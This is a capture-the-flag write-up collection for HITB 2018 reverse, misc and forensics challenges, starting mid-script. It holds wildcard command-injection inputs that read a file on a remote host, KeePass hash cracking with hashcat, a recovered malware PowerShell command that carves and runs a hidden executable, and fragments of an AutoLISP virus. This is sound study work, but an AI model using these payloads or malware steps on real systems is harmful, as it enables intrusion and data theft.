0xBB, 0xE1, 0xBC, 0xBF, 0xE4, 0xF3, 0xC0, 0xC2, 0x98, 0x8F, 0x88, 0xC5, 0xC4, 0x9C, 0x8A, 0xC9, 0xC8, 0x90, 0x85, 0xCD, 0xCF, 0xAE, 0xD0, 0xD8, 0xB3, 0xA1, 0xA6, 0xB4, 0xAF, 0xB4, 0xB7, 0xA9, 0xA3, 0xDB, 0xDD, 0xBF, 0xDE, 0xDA, 0x83, 0x89, 0x87, 0x80, 0x8F, 0xE5, 0xE0, 0x82, 0x99, 0x9C, 0x8B, 0x87, 0x9F, 0xED, 0xE6, 0x88, 0x95, 0x85, 0xB0, 0x8A, 0x80, 0x90, 0x85, 0xF7, 0xC4, 0xF9, 0xFD, 0xF5, 0xFE, 0xE8, 0x78, 0xFD, 0x6B, 0xA5, 0x00, 0x16, 0xC6, 0x05, 0x03, 0x07, 0x0F, 0x07, 0x0A, 0x38, 0x0D, 0x0D, 0x09, 0x01, 0x1F, 0x3C, 0x3C, 0x13, 0x50, 0x14, 0x16, 0x10, 0x05, 0x43, 0x51, 0x27, 0x57, 0x56, 0x22, 0x98, 0x77, 0x1E, 0x22, 0x2B, 0x20, 0x25, 0x26, 0x27, 0x28, 0x2E, 0x24, 0x60, 0x54, 0x11, 0xEA, 0x12, 0x2E, 0x85, 0x9D, 0x72, 0x08, 0x09, 0x36, 0x10, 0x3A, 0x39, 0x3A, 0x3C, 0x32, 0x67, 0x75, 0xA9, 0xF4, 0xF5, 0xD3, 0x1C, 0x44, 0x59, 0x44, 0x47, 0x48, 0x4E, 0x44, 0x11, 0x07, 0x4C, 0x59, 0x40, 0x8E, 0x0C, 0x52, 0x07, 0x55, 0x55, 0x51, 0x59, 0x58, 0x5B, 0x5A, 0x53, 0x5C, 0x5D, 0x54, 0x5E, 0x6A, 0x61, 0xEA, 0xE3, 0x60, 0xF1, 0x62, 0x66, 0xE9, 0xE9, 0x6E, 0xE3, 0x69, 0x6C, 0x64, 0xCF, 0x75, 0x70, 0x7B, 0xCF, 0x71, 0x74, 0x7E, 0xD7, 0x7E, 0x78, 0x70, 0xC3, 0x7B, 0x7C, 0x74, 0xC7, 0x88, 0x80, 0x8B, 0x33, 0x8D, 0x88, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8C, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x94, 0x96, 0x97, 0x98, 0x85, 0x9A, 0x9B, 0x9C, 0xED, 0x9E, 0x9F, 0xA0, 0xA3, 0xA2, 0xA3, 0xA4, 0xAE, 0xA6, 0xA7, 0xA8, 0x49, 0xAA, 0xAB, 0xAC, 0xAE, 0xAE, 0xAF, 0xB0, 0xBB, 0xB2, 0xB3, 0xB4, 0xB9, 0xB7, 0xB7, 0xB8, 0xBD, 0xBA, 0xBB, 0xBC, 0xBF, 0xBE, 0xBF, 0xC0, 0x45, 0xC3, 0xC3, 0xC4, 0xC0, 0xC6, 0xC7, 0xC8, 0xC5, 0xCA, 0xCB, 0xCC, 0x59, 0xCF, 0xCF, 0xD0, 0xD7, 0xD2, 0xD3, 0xD4, 0xD4, 0xD6, 0xD7, 0xD8, 0x2D, 0xDB, 0xDB, 0xDC, 0xDC, 0xFE, 0xDF, 0xE0, 0xE9, 0xE2, 0xE3, 0xE4, 0xF1, 0xE4, 0xE7, 0xE8, 0xE8, 0xFA, 0xEB, 0xEC, 0xE5, 0xEE, 0xEF, 0xF0, 0x11, 0xF6, 0xF3, 0xF4, 0xF7, 0xD6, 0xF7, 0xF8, 0xE5, 0xFA, 0xFB, 0xFC, 0xD1, 0xFB, 0xFF, 0x00, 0x02, 0x22, 0x03, 0x04, 0x0D, 0x06, 0x07, 0x08, 0x06, 0x0C, 0x0B, 0x0C, 0x0D, 0x2E, 0x0F, 0x10, 0x10, 0x12, 0x13, 0x14, 0x65, 0x10, 0x17, 0x18, 0x19, 0x0A, 0x1B, 0x1C, 0x1C, 0x1E, 0x1F, 0x20, 0xBD, 0x24, 0x23, 0x24] d = '' k = 233 for c in l: d += chr(c ^ (k & 0xff)) k += 1 open('claz.dex', 'wb').write(d)
#include <stdio.h> #include <stdint.h> uint32_t key[] = {0xabababab, 0xcdcdcdcd, 0xefefefef, 0x12345678}; uint32_t enc_s[] = {0x637c65e9, 0x8e51d1d9, 0x9a4f1634, 0xd9a2beb8, 0x65ee49e5, 0x35fb2eec, 0x610bc824, 0xedcf90b5, 0}; void decrypt (uint32_t* v, uint32_t* k) { int32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ int32_t delta=0x9e3779b9; /* a key schedule constant */ int32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main(int argc, char *argv[]) { for (int i = 0; i < 8; i += 2) { uint32_t* t = &enc_s[i]; decrypt(t, key); enc_s[i] = __builtin_bswap32(enc_s[i]); enc_s[i+1] = __builtin_bswap32(enc_s[i+1]); } printf("%s\n", (char *)&enc_s[1]); }
HITB{SEe!N9_IsN'T_bELIEV1Ng}
kivy simple (Reverse)
Since private.mp3
is suspecious, I investigated private.mp3
.
Then, I found out that it was tar.gz
file and decompress it.
$ uncompyle6 main.pyo # uncompyle6 version 3.0.1 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.5.2 (default, Nov 23 2017, 16:37:01) # [GCC 5.4.0 20160609] # Embedded file name: /home/ubuntu/kivyproject/.buildozer/android/app/main.py # Compiled at: 2018-03-14 13:40:21 from kivy.uix.popup import Popup from kivy.app import App from kivy.uix.label import Label from kivy.uix.textinput import TextInput from kivy.uix.button import Button from kivy.uix.boxlayout import BoxLayout import binascii, marshal, zlib class LoginScreen(BoxLayout): def __init__(self, **kwargs): super(LoginScreen, self).__init__(**kwargs) self.orientation = 'vertical' self.add_widget(Label(text='FLAG')) self.flag = TextInput(hint_text='FLAG HERE', multiline=False) self.add_widget(self.flag) self.hello = Button(text='CHECK') self.hello.bind(on_press=self.auth) self.add_widget(self.hello) def check(self): if self.flag.text == 'HITB{this_is_not_flag}': return True return False def auth(self, instance): if self.check(): s = 'Congratulations you got the flag' else: s = 'Wrong answer' popup = Popup(title='result', content=Label(text=s), auto_dismiss=True) popup.open() screen = LoginScreen() b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt' eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64)))) class MyApp(App): def build(self): return screen app = MyApp() app.run() # okay decompiling main.pyo
$ uncompyle6 ../../../eval_main.pyc # uncompyle6 version 3.0.1 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.5.2 (default, Nov 23 2017, 16:37:01) # [GCC 5.4.0 20160609] # Compiled at: 2018-03-14 13:40:21 def check(self): s = self.flag.text if len(s) != 31: return False if s[17] != '7': return False if s[15] != '%': return False if s[11] != 'S': return False if s[3] != 'B': return False if s[22] != '_': return False if s[2] != 'T': return False if s[27] != 'O': return False if s[6] != '!': return False if s[20] != '$': return False if s[16] != 'r': return False if s[4] != '{': return False if s[23] != 'p': return False if s[25] != '7': return False if s[0] != 'H': return False if s[18] != '_': return False if s[29] != '!': return False if s[10] != '1': return False if s[14] != 'H': return False if s[13] != '&': return False if s[26] != '#': return False if s[1] != 'I': return False if s[7] != 'F': return False if s[30] != '}': return False if s[19] != 'v': return False if s[12] != '_': return False if s[9] != '_': return False if s[24] != 'Y': return False if s[5] != '1': return False if s[28] != 'N': return False if s[21] != '3': return False if s[8] != '3': return False return True screen.__class__.check = check # okay decompiling ../../../eval_main.pyc
HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}
pix (Misc)
zsteg is god.
$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate imagedata .. text: " !#865 " b1,r,msb,xy .. text: "y5b@2~2t" b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBX b2,r,msb,xy .. text: "\rP`I$X7D" b2,bgr,lsb,xy .. text: "b;d'8H~M" b4,g,msb,xy .. text: ";pTr73& dvG: $ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy > hoge.keepass2 $ keepass2john ~/hoge.keepass2 hoge.keepass2:$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b $ optirun ./hashcat64.bin -a 3 -m 13400 '$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b' -1 '0123456789' 'hitb?1?1?1?1?1?1' ... $keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b:hitb180408 ...
read file (Misc)
$ nc 47.75.148.60 9999 echo $input | grep -o "[[:punct:]]*" flag is here: /home/flag_is_here/flag.txt , try to read it~! Do it!!! Input: $(</????/????_??_????/????.???) HITB{d7dc2f3c59291946abc768d74367ec31}
or
Input: /???/??? /????/????_??_????/????.???
tpyx (Misc)
The png file is broken. It seems like We need to fix it first.
pngcheck
tell us that it has crc checksum error
$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png
File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes)
chunk IHDR at offset 0x0000c, length 13
1024 x 653 image, 32-bit RGB+alpha, non-interlaced
chunk IDAT at offset 0x00025, length 1162839
zlib: deflated, 32K window, default compression
CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)
ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png
When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839
After corrected all faults, just use zsteg
to detect any interesting things and also extract them.
$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png
[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4ef
extradata:imagedata .. file: zlib compressed data
...
...
$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata
$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data
$ cat data
377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d
$ cat data | xxd -r -p > data
$ file data
data.7z: 7-zip archive data, version 0.3
Now we have a 7z file, but we need password.
The 7z file is actually appended with the password.
$ xxd data
00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000 7z..'.....l.0...
00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440 ....s.......<.$@
00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a .B......#a..o...
00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad ..03Lh.G.8>KrF..
00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a .F....,.....*iRz
00000050: 0104 0600 0109 3000 070b 0100 0224 06f1 ......0......$..
00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301 ...S..z...Z.v#..
00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01 ..].......,'....
00000080: c35b 9330 0000 0501 110b 0066 006c 0061 .[.0.......f.l.a
00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1 .g.........K.W..
000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01 .......i.f......
000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000 .....c..........
000000c0: 0000 0018 0034 5172 634f 556d 3657 6175 .....4QrcOUm6Wau
000000d0: 2b56 7542 5838 672b 4950 673d 3d +VuBX8g+IPg==
$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==
..
Extracting flag
..
$ cat flag
HITB{0c88d56694c2fb3bcc416e122c1072eb}
BOOM (Misc)
AceBear
We are given a .vmem
file, which is a memory file generated by VMware. The problem deion indicates that this VM might be infected with a malware, so let’s use Volatility to analyze this memory dump.
Let’s check what OS this memory dump is running:
$ volatility -f BOOM-6452e9b9.vmem imageinfo Volatility Foundation Volatility Framework 2.5 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64 AS Layer1 : AMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (.../BOOM-6452e9b9.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80003fff0a0L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80004000d00L KPCR for CPU 1 : 0xfffff880009ef000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2018-04-05 08:29:56 UTC+0000 Image local date and time : 2018-04-05 16:29:56 +0800
Let’s consider the running OS as Win7SP1x64 and list the running processes:
$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 psscan Volatility Foundation Volatility Framework 2.5 Offset(P) Name PID PPID PDB Time created Time exited ------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------ 0x000000007d0d81f0 msdtc.exe 1992 516 0x0000000077525000 2018-04-04 15:28:29 UTC+0000 0x000000007d0dab30 cmd.exe 1348 1212 0x0000000038154000 2018-04-05 08:27:22 UTC+0000 2018-04-05 08:27:39 UTC+0000 0x000000007d109b30 dllhost.exe 1896 516 0x000000004599c000 2018-04-04 15:28:29 UTC+0000 0x000000007d248b30 svchost.exe 600 516 0x00000000145af000 2018-04-04 15:28:26 UTC+0000 0x000000007d285540 svchost.exe 1112 516 0x0000000017541000 2018-04-04 15:28:27 UTC+0000 0x000000007d28a5b0 explorer.exe 2532 2492 0x0000000034c9e000 2018-04-04 15:30:26 UTC+0000 0x000000007d290b30 spoolsv.exe 1212 516 0x0000000017755000 2018-04-04 15:28:27 UTC+0000 0x000000007d2af1a0 mscorsvw.exe 2764 516 0x000000006a0e7000 2018-04-04 15:30:28 UTC+0000 0x000000007d2de7e0 svchost.exe 1244 516 0x00000000186fc000 2018-04-04 15:28:27 UTC+0000 0x000000007d3b4060 VGAuthService. 1384 516 0x00000000178e6000 2018-04-04 15:28:27 UTC+0000 0x000000007d3e4210 vmtoolsd.exe 1456 516 0x000000001676c000 2018-04-04 15:28:28 UTC+0000 0x000000007d3e9b30 ManagementAgen 1480 516 0x00000000162f2000 2018-04-04 15:28:28 UTC+0000 0x000000007d413060 winlogon.exe 480 408 0x0000000020cf6000 2018-04-04 15:28:26 UTC+0000 0x000000007d428b30 services.exe 516 416 0x00000000086a2000 2018-04-04 15:28:26 UTC+0000 0x000000007d434060 lsm.exe 540 416 0x000000001f851000 2018-04-04 15:28:26 UTC+0000 0x000000007d436610 lsass.exe 532 416 0x000000001f649000 2018-04-04 15:28:26 UTC+0000 0x000000007d50e970 svchost.exe 664 516 0x000000001c541000 2018-04-04 15:28:26 UTC+0000 0x000000007d532920 vmacthlp.exe 724 516 0x000000001ee7b000 2018-04-04 15:28:26 UTC+0000 0x000000007d53eb30 svchost.exe 768 516 0x0000000053d03000 2018-04-04 15:28:26 UTC+0000 0x000000007d571060 svchost.exe 832 516 0x000000005378d000 2018-04-04 15:28:26 UTC+0000 0x000000007d57cb30 svchost.exe 892 516 0x000000005329a000 2018-04-04 15:28:26 UTC+0000 0x000000007d5a8b30 svchost.exe 936 516 0x00000000125a5000 2018-04-04 15:28:26 UTC+0000 0x000000007d8d1060 wininit.exe 416 344 0x0000000021861000 2018-04-04 15:28:26 UTC+0000 0x000000007d8db7b0 csrss.exe 432 408 0x0000000021bf0000 2018-04-04 15:28:26 UTC+0000 0x000000007da5cb30 csrss.exe 364 344 0x0000000021ddb000 2018-04-04 15:28:25 UTC+0000 0x000000007e243b30 WmiPrvSE.exe 1852 664 0x000000000e653000 2018-04-04 15:28:29 UTC+0000 0x000000007e94bb30 smss.exe 276 4 0x0000000023138000 2018-04-04 15:28:25 UTC+0000 0x000000007e9cab30 taskhost.exe 2388 516 0x0000000074651000 2018-04-04 15:30:26 UTC+0000 0x000000007ed2e810 Everything.exe 3764 1564 0x0000000077807000 2018-04-05 08:29:20 UTC+0000 0x000000007edb62b0 ipconfig.exe 3440 3372 0x000000002ef83000 2018-04-05 08:29:56 UTC+0000 2018-04-05 08:29:56 UTC+0000 0x000000007efbe330 SearchFilterHo 1260 3016 0x000000002ddfe000 2018-04-05 08:29:06 UTC+0000 0x000000007efc7540 audiodg.exe 3960 832 0x000000003eefe000 2018-04-05 08:29:20 UTC+0000 0x000000007efcc5f0 cmd.exe 3372 1456 0x000000003fe85000 2018-04-05 08:29:56 UTC+0000 2018-04-05 08:29:56 UTC+0000 0x000000007f0e5a30 dwm.exe 2508 892 0x0000000073675000 2018-04-04 15:30:26 UTC+0000 0x000000007f67bb30 dllhost.exe 2364 664 0x0000000049662000 2018-04-04 15:49:16 UTC+0000 0x000000007f773680 netsh.exe 2428 1212 0x0000000034bde000 2018-04-05 08:28:07 UTC+0000 2018-04-05 08:28:07 UTC+0000 0x000000007f78eb30 svchost.exe 1088 516 0x000000004771d000 2018-04-04 15:41:44 UTC+0000 0x000000007f7e1460 StikyNot.exe 2252 2532 0x00000000379a7000 2018-04-04 15:49:33 UTC+0000 0x000000007f834b30 SearchIndexer. 3016 516 0x000000003ae0d000 2018-04-04 15:30:30 UTC+0000 0x000000007f860b30 svchost.exe 2968 516 0x0000000015308000 2018-04-04 15:30:29 UTC+0000 0x000000007f9d6060 cmd.exe 1096 1212 0x00000000752ec000 2018-04-05 08:25:33 UTC+0000 2018-04-05 08:26:49 UTC+0000 0x000000007f9ec060 sc.exe 3064 1212 0x00000000332be000 2018-04-05 08:28:07 UTC+0000 2018-04-05 08:28:07 UTC+0000 0x000000007fa5d060 wordpad.exe 3316 1564 0x0000000041a4b000 2018-04-05 08:29:50 UTC+0000 0x000000007fa7f060 conhost.exe 3368 364 0x000000000ca7a000 2018-04-05 08:29:56 UTC+0000 2018-04-05 08:29:56 UTC+0000 0x000000007faa7390 rdpclip.exe 2460 1112 0x0000000071564000 2018-04-05 08:29:07 UTC+0000 0x000000007fac6b30 taskhost.exe 1340 516 0x000000006d95f000 2018-04-05 08:29:07 UTC+0000 0x000000007fb0bb30 SearchProtocol 1820 3016 0x00000000744a7000 2018-04-05 08:29:26 UTC+0000 0x000000007fb15b30 dwm.exe 2228 892 0x0000000032414000 2018-04-05 08:29:07 UTC+0000 0x000000007fb23b30 explorer.exe 1564 1624 0x0000000066338000 2018-04-05 08:29:07 UTC+0000 0x000000007fb74060 vmtoolsd.exe 2632 2532 0x0000000070551000 2018-04-04 15:30:26 UTC+0000 0x000000007fbb9b30 svchost.exe 2800 516 0x000000006a6f5000 2018-04-04 15:30:28 UTC+0000 0x000000007fbcf060 mscorsvw.exe 2880 516 0x000000006a1fc000 2018-04-04 15:30:29 UTC+0000 0x000000007fbfc060 sppsvc.exe 2932 516 0x000000002c482000 2018-04-04 15:30:29 UTC+0000 0x000000007fca0b30 winlogon.exe 888 2092 0x00000000304c0000 2018-04-05 08:28:11 UTC+0000 0x000000007fccab30 csrss.exe 1836 2092 0x000000002f03b000 2018-04-05 08:28:11 UTC+0000 0x000000007fd228d0 csrss.exe 2984 2380 0x000000001bbb9000 2018-04-05 08:29:06 UTC+0000 0x000000007fd36b30 regsvr32.exe 2736 1564 0x0000000064a39000 2018-04-05 08:29:08 UTC+0000 2018-04-05 08:29:08 UTC+0000 0x000000007fdec630 vmtoolsd.exe 3748 1564 0x0000000045e6b000 2018-04-05 08:29:19 UTC+0000 0x000000007fdf3b30 winlogon.exe 2212 2380 0x00000000121be000 2018-04-05 08:29:06 UTC+0000 0x000000007feb2060 SearchProtocol 2752 3016 0x000000002e873000 2018-04-05 08:29:06 UTC+0000 0x000000007feb8b30 LogonUI.exe 1672 2212 0x000000003a14d000 2018-04-05 08:29:06 UTC+0000 0x000000007ff39990 System 4 0 0x0000000000187000 2018-04-04 15:28:25 UTC+0000
Everything.exe seems shady. Let’s dump it:
$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 procdump -p 3764 -D . Volatility Foundation Volatility Framework 2.5 Process(V) ImageBase Name Result ------------------ ------------------ -------------------- ------ 0xfffffa8002b2e810 0x0000000000400000 Everything.exe OK: executable.3764.exe
As with many memory forensics challenge, it is quite useful to run strings
on it:
$ strings executable.3764.exe ... [snip] ... powershell -WindowStyle Hidden -Command "Get-ChildItem .\ | ForEach-Object -Process {if($_ -is [System.IO.FileInfo]){if($_.FullName.indexof(""".exe""") -eq -1){return;}$cont = (Get-Content -raw $_.FullName);if($cont.indexof("""qwedcxzarfvbnhyt""") -eq -1){return;}echo $_.FullName;[byte[]]$bytes = [System.IO.File]::ReadAllBytes($_.FullName);Set-Content -Path """.\temp.exe""" -Value $Bytes[-0X19010..-0X11] -encoding Byte;.\temp.exe;rm .\temp.exe;}};Start-Process -FilePath http://HYTN_B_C_DoRR_.cn;"
Looks like there are something related to PowerShell inside this executable, which makes it even more shady. Some RE confirms it as the process entry point is overwritten with some code that runs the above command. Start-Process -FilePath
with an URL will open a browser window with that URL, that explains the weird paths mentioned in the problem deion.
The flag doesn’t follow normal format, and is the domain name of what we’ve found: HYTN_B_C_DoRR_.cn
There are a lot of useful and funny tricks I’ve learned when solving that problem; however the time to writeup is limited so I’ll add it later :3
simple_forensics
This is a memory forensics challenge.So we can use Volatility tool to solve.
First.we vol.py -f xxxxx.vmem imageinfo
to find profile.
$ vol.py -f Windows\ 10\ x64-8da95d9d.vmem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win10x64_10586, Win10x64_14393, Win10x64_16299, Win2016x64_14393, Win10x64_15063 (Instantiated with Win10x64_15063) AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/Volumes/移动硬盘/项目/HITB_sw/Windows 10 x64.vmwarevm/Windows 10 x64-8da95d9d.vmem) PAE type : No PAE DTB : 0x1aa000L KDBG : 0xf80075fe24d0L Number of Processors : 1 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0xfffff80075145000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2018-04-11 07:33:07 UTC+0000 Image local date and time : 2018-04-11 15:33:07 +0800
we find the profile is win10.
Then.We to find the Desktop file…We can find somethins…such as *.txt or autocad folder or some autocad Project Files and files.When we analyze the file,the file name is ‘go.lsp’
...
(if (setq wwjm (open flag_file "r"))
(progn
(repeat 15 (read-line wwjm))
(setq wz (read-line wwjm))
(setq wwjm (open elif_galf "w"))
(write-line wz wwjm)
(close wwjm)
...
(vl-file-delete (strcat dpath "flag.txt"))
...
we find that this is an autocad virus. And this virus is code by auto lsp.So we have to learn auto lsp‘s grammar.
Finally we will find that the program has renamed the flag file name of a path.So We find the corresponding file name and dump it to get the flag.